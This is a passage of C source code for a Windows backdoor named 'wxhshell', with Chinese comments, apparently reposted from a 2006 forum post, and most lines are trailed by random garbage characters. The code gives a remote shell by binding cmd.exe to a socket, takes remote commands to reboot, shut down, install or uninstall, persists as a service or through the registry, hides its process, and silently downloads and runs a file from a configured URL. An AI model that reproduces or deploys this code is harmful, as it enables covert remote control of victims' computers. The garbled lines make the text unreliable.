      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); P3|<K-dFAK  
    break; +]zP $5_e  
  } CKur$$B  
  // 安装 O^$Zz<  
  case 'i': { m{yON&y  
    if(Install()) syfR5wc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qs b4@jt+  
    else >dGYZfqD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j%h Y0   
    break; .0ZvCv:>  
    } =>J#_Pprn  
  // 卸载 8UcT? Zp  
  case 'r': { |Wgab5D>V  
    if(Uninstall()) ?C{N0?[P-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZM.g +-9  
    else f$'D2o, O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y|~>(  
    break; [)u(\nfGX  
    } F{+`F<r  
  // 显示 wxhshell 所在路径 b#U%aPH  
  case 'p': { /km3L7L%R  
    char svExeFile[MAX_PATH]; *X-$* ~J0  
    strcpy(svExeFile,"\n\r"); ;CZcY] ol  
      strcat(svExeFile,ExeFile); BYf"l8^,  
        send(wsh,svExeFile,strlen(svExeFile),0); 7EXmmB~>,  
    break; e- CW4x  
    } ]>o2P cb;  
  // 重启 3Cl9,Z"&6$  
  case 'b': { Uf<vw3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8(;i~f:bCW  
    if(Boot(REBOOT)) 9 JtG&^*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y^rg%RV  
    else { #*/h*GNMs  
    closesocket(wsh); Z#O3s:`  
    ExitThread(0); _JDr?Kg  
    } PsnU5f)`  
    break; C=cTj7Ub  
    } ~] 2R+  
  // 关机 CQ[-Cp7  
  case 'd': { 6KG63`aQ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); WGx>{'LJ  
    if(Boot(SHUTDOWN)) #w@Pa L iS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aB)DX  
    else { Z(eSnV_RL  
    closesocket(wsh); NZ5~\k  
    ExitThread(0); nE;gM1I  
    } h_L '_*  
    break; ~=ktFuEa  
    } bYc qscW  
  // 获取shell HWBom8u0  
  case 's': { 5aNDW'z`f  
    CmdShell(wsh); R.T-Ptene  
    closesocket(wsh); $ZO<8|bW  
    ExitThread(0); vBx^zDe  
    break; =;=V4nKN  
  } E}=NZqOB!  
  // 退出 tV9C33  
  case 'x': { a)Ek~{9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); B;r$( 'UZ  
    CloseIt(wsh); yFo5pKF.J  
    break; eHe /w9`$R  
    } `qz5rPyZ  
  // 离开 {eEWfMKIn  
  case 'q': { *Rh .s!@4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !.$P`wKr  
    closesocket(wsh); xk8p,>/  
    WSACleanup(); dCTpO  
    exit(1); w"iZn  
    break; uLljM{ I  
        } OvG0UXRU  
  } C>dJ:.K%H  
  } E 5{)d~q  
x?'%  
  // 提示信息 ;hJ*u  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A5ID I<a  
} Uc0'XPo3I  
  } ="R6YL  
ie5ijkxZ(  
  return; EIQy?ig86  
} nn:pf1  
~[q:y|3b  
// shell模块句柄 `&zobbwq  
int CmdShell(SOCKET sock) U(4_X[qD  
{ q"<-  
STARTUPINFO si; y(h(mr  
ZeroMemory(&si,sizeof(si)); nF$)F?||  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~|C1$.-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {~g  
PROCESS_INFORMATION ProcessInfo; iQ C&d_#  
char cmdline[]="cmd"; *8H;KGe=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9z/_`Xd_  
  return 0; 3uG5b8?  
} L.[uMuUa  
r.^X>?  
// 自身启动模式 F$ p*G][  
int StartFromService(void) ^X%4@,AE  
{ d}cJ5 !d  
typedef struct ldvxYq<:  
{ K0=E4>z,`q  
  DWORD ExitStatus; G3^]Wwu  
  DWORD PebBaseAddress; rxp9B>~  
  DWORD AffinityMask; 6G$tYfX  
  DWORD BasePriority; xH#a|iT?(  
  ULONG UniqueProcessId; RyWOiQk;  
  ULONG InheritedFromUniqueProcessId; Vzvw/17J  
}   PROCESS_BASIC_INFORMATION; g*r;( H>e  
B^~Bv!tHWr  
PROCNTQSIP NtQueryInformationProcess; hg'!  
gr{Sh`Cm-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3|r!*+.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k]9>V@C  
W?J[K;<  
  HANDLE             hProcess; YPDsE&,J)  
  PROCESS_BASIC_INFORMATION pbi; 7d8qs%nA  
S{7ik,Gdg  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6x,=SW@4  
  if(NULL == hInst ) return 0; >1pH 91c'  
={@ @`yP^$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6Ok=q:;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |P0L,R  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [mzF)/[_2  
Le:mMd= G  
  if (!NtQueryInformationProcess) return 0; qq3Qd,$Z  
U]EuDNkO{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zRE8299%z  
  if(!hProcess) return 0; )TG0m= *  
LNxE-Dp  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]l7\Zq  
)u/ ^aK53^  
  CloseHandle(hProcess); AaC1 ||?R  
xj q7%R_,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rIfGmh%H  
if(hProcess==NULL) return 0; T1!Gr!=  
y&=19 A#  
HMODULE hMod; "M0l;  
char procName[255]; ^*ez j1  
unsigned long cbNeeded; @:QdCG+  
(My$@l973  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9.OwH(Ax7  
jy@i(@Z  
  CloseHandle(hProcess); G$|;~'E  
J}_Dpb[L  
if(strstr(procName,"services")) return 1; // 以服务启动 ,3- -ERf  
,!%R5*?=D  
  return 0; // 注册表启动 t:s q*d  
} S Ljf<.S  
7O9hn2?e  
// 主模块 ^zPEAXm  
int StartWxhshell(LPSTR lpCmdLine) C 3XZD4.2  
{ #Q7x:,f  
  SOCKET wsl; "~2#!bK7  
BOOL val=TRUE; )Z]y.W)  
  int port=0; 6?.pKFB Z  
  struct sockaddr_in door; u#@{%kPW  
HGQ?(2]8$  
  if(wscfg.ws_autoins) Install(); =<zSF\Zr_  
C"^hMsU8  
port=atoi(lpCmdLine); X8SRQO^  
\pD=Lv9  
if(port<=0) port=wscfg.ws_port; V52C,]qQH  
l8AEEG8>  
  WSADATA data; ZIL| .<8I  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; QT= ,En  
.0fh>kQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9}jq`xSL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !+DJhw&c,  
  door.sin_family = AF_INET; P9TBQW2G{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^0tf1pV2  
  door.sin_port = htons(port); L8]{B  
zPh\3B  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5H :~6z  
closesocket(wsl); =_m9so  
return 1; `=}UFu  
} l*\~ew   
6^IqSNn-  
  if(listen(wsl,2) == INVALID_SOCKET) { } B9~X  
closesocket(wsl); P&%eIgAOL  
return 1; "(\) &G  
} jy(+ 0F  
  Wxhshell(wsl); 4,F3@m:<  
  WSACleanup(); Cq*}b4^;  
9kX=99kf[  
return 0; =e!l=d|/  
%w8GGm8^/  
} _:Jp*z  
71.\`'  
// 以NT服务方式启动 oAZF3h]po  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) lHKf#|  
{ sL AuR  
DWORD   status = 0; :EmQ_?(^  
  DWORD   specificError = 0xfffffff; KW|\)83$  
2Jo~m_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ig2 +XR#%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ImV]}M~_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'LbeL1ca  
  serviceStatus.dwWin32ExitCode     = 0; 9sU+IT K4  
  serviceStatus.dwServiceSpecificExitCode = 0; pgd8`$(Q  
  serviceStatus.dwCheckPoint       = 0; RE>ks[  
  serviceStatus.dwWaitHint       = 0; Q-8'?S  
]Q4PbW  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); B?#kW!wj  
  if (hServiceStatusHandle==0) return; P wB g  
%nmY:}um  
status = GetLastError(); [l':G]  
  if (status!=NO_ERROR) y5/'!L)g  
{ `/w\2n  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; R{) Q1~H=q  
    serviceStatus.dwCheckPoint       = 0; $' (QTEM  
    serviceStatus.dwWaitHint       = 0; ) Kc%8hBv  
    serviceStatus.dwWin32ExitCode     = status; *m$PH"  
    serviceStatus.dwServiceSpecificExitCode = specificError; UIf ZPf=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;n} >C' :  
    return; >sQ2@"y)s2  
  } w!WRa8C  
}U%^3r-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .~q)eV  
  serviceStatus.dwCheckPoint       = 0; fimb]C I|x  
  serviceStatus.dwWaitHint       = 0; ,jRcl!n`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3a#PA4Ql  
} nw0L1TP/J  
)d +hZ'  
// 处理NT服务事件,比如:启动、停止 U!c]_q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) a#+>w5  
{ B f5&}2u  
switch(fdwControl) WHUT/:?f  
{ o3n3URu\  
case SERVICE_CONTROL_STOP: mG831v?  
  serviceStatus.dwWin32ExitCode = 0; $s-9|Lbs`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?0rOcaTY  
  serviceStatus.dwCheckPoint   = 0; v<;: 0  
  serviceStatus.dwWaitHint     = 0; hojHbmm4  
  { |e*GzD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =2 &hQd   
  } l#D-q/k?  
  return; z wL3,!t  
case SERVICE_CONTROL_PAUSE: M[aT2A  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7L=T]W  
  break; @iU%`=ziz  
case SERVICE_CONTROL_CONTINUE: .3VK;au\\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #>8T*B  
  break; r8uqcKfU  
case SERVICE_CONTROL_INTERROGATE: PSTu/^  
  break; t`"^7YFS>  
}; -@''[m.*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =- $!:W~  
} ^ <qrM  
CQdBf3q  
// 标准应用程序主函数 tTotPPZf}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) YP[LQ>  
{ 1GtOA3,~;-  
07x=`7hs}  
// 获取操作系统版本 j$@?62)6  
OsIsNt=GetOsVer(); h|bqyu  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,>;!%Ui/p  
%O#)Nq>mp  
  // 从命令行安装 HWqLcQ d:P  
  if(strpbrk(lpCmdLine,"iI")) Install(); izCaB~{/  
-$U@By<SJ  
  // 下载执行文件 m CM|&u  
if(wscfg.ws_downexe) { [2Iau1<@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tbq|,"  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ko#4z%Yq  
} z!fdx|PUX  
u(W^Nou/+  
if(!OsIsNt) { c~P)4(udT  
// 如果时win9x,隐藏进程并且设置为注册表启动 $v]T8|h  
HideProc(); o2DtCU-A  
StartWxhshell(lpCmdLine); Oqpp=7  
} >DL/ ..  
else jm[}M  
  if(StartFromService()) wL;]1&Qq  
  // 以服务方式启动 Qi_&aU$>lM  
  StartServiceCtrlDispatcher(DispatchTable); {  |s/]W  
else >):m-I  
  // 普通方式启动 mA& =q_gS  
  StartWxhshell(lpCmdLine); W. ^Ei\w/t  
Cz_AJ-WR  
return 0; yI8 SQ$w0y  
}
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只看该作者 1 发表于: 2006-10-10
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